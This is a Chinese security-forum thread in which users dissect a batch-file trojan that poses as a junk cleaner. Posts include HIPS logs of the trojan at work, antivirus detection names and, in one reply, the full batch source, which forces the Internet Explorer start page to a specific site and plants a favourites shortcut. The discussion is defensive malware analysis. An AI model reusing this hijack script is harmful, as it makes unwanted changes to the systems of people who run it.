改主页。。。

hx1997

2010-10-28 20:43:05    运行应用程序      操作:允许
进程路径:G:\windows\System32\cmd.exe
文件路径:G:\windows\System32\reg.exe
命令行:add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.22131.com?bat" /f
触发规则:所有程序规则->AD:3.其他->*.exe


2010-10-28 20:43:08    修改注册表内容      操作:阻止
进程路径:G:\windows\System32\reg.exe
注册表路径:HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
注册表名称:Start Page
更改后:http://www.22131.com?bat
触发规则:所有程序规则->RD:3.浏览器、网络设置->*\Software\Microsoft\Internet explorer\Main


2010-10-28 20:43:15    创建文件      操作:阻止
进程路径:G:\windows\System32\cmd.exe
文件路径:G:\Documents and Settings\Administrator.HX-C0987054243B\Favorites\网址导航.url
触发规则:所有程序规则->FD:5.常用目录访问->*\Favorites\*.url


2010-10-28 20:43:16    创建文件      操作:阻止
进程路径:G:\windows\System32\cmd.exe
文件路径:G:\Documents and Settings\Administrator.HX-C0987054243B\Favorites\网址导航.url
触发规则:所有程序规则->FD:5.常用目录访问->*\Favorites\*.url


2010-10-28 20:43:17    创建文件      操作:阻止
进程路径:G:\windows\System32\cmd.exe
文件路径:G:\Documents and Settings\Administrator.HX-C0987054243B\Favorites\网址导航.url
触发规则:所有程序规则->FD:5.常用目录访问->*\Favorites\*.url

lllck

有卡巴啊****

IWT

批处理。。这个恐怕不太好入库

脚本小子

s8706042

已上報趨勢~

zl1122345

竟然是批处理~~还打着清理垃圾的名义~

尤金卡巴斯基

Trojan.BAT.StartPage.ip       

post8

回复 13楼 IWT 的帖子

谁说的

Filename Result
被强奸怎么办？.bat  MALWARE

The file '被强奸怎么办？.bat' has been determined to be 'MALWARE'. Our analysts named the threat TR/StartPage.1700. The term "TR/" denotes a trojan horse that is able to spy out data, to violate your privacy or carry out unwanted modifications to the system.Detection will be added to our virus definition file (VDF) with one of the next updates.

cakeking

reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /d "http://www.22131.com?bat" /f

echo [InternetShortcut] > "%USERPROFILE%\Favorites\网址导航.url"
echo URL=http://www.22131.com?bat >> "%USERPROFILE%\Favorites\网址导航.url"
echo IDList= >>"%USERPROFILE%\Favorites\网址导航.url"
echo [{000214A0-0000-0000-C000-000000000046}] >> "%USERPROFILE%\Favorites\网址导航.url"
echo  Prop3=19,2 >> "%USERPROFILE%\Favorites\网址导航.url"

echo. & pause

猪头大队

脚本小子 发表于 2010-10-28 23:18

版规禁止纯表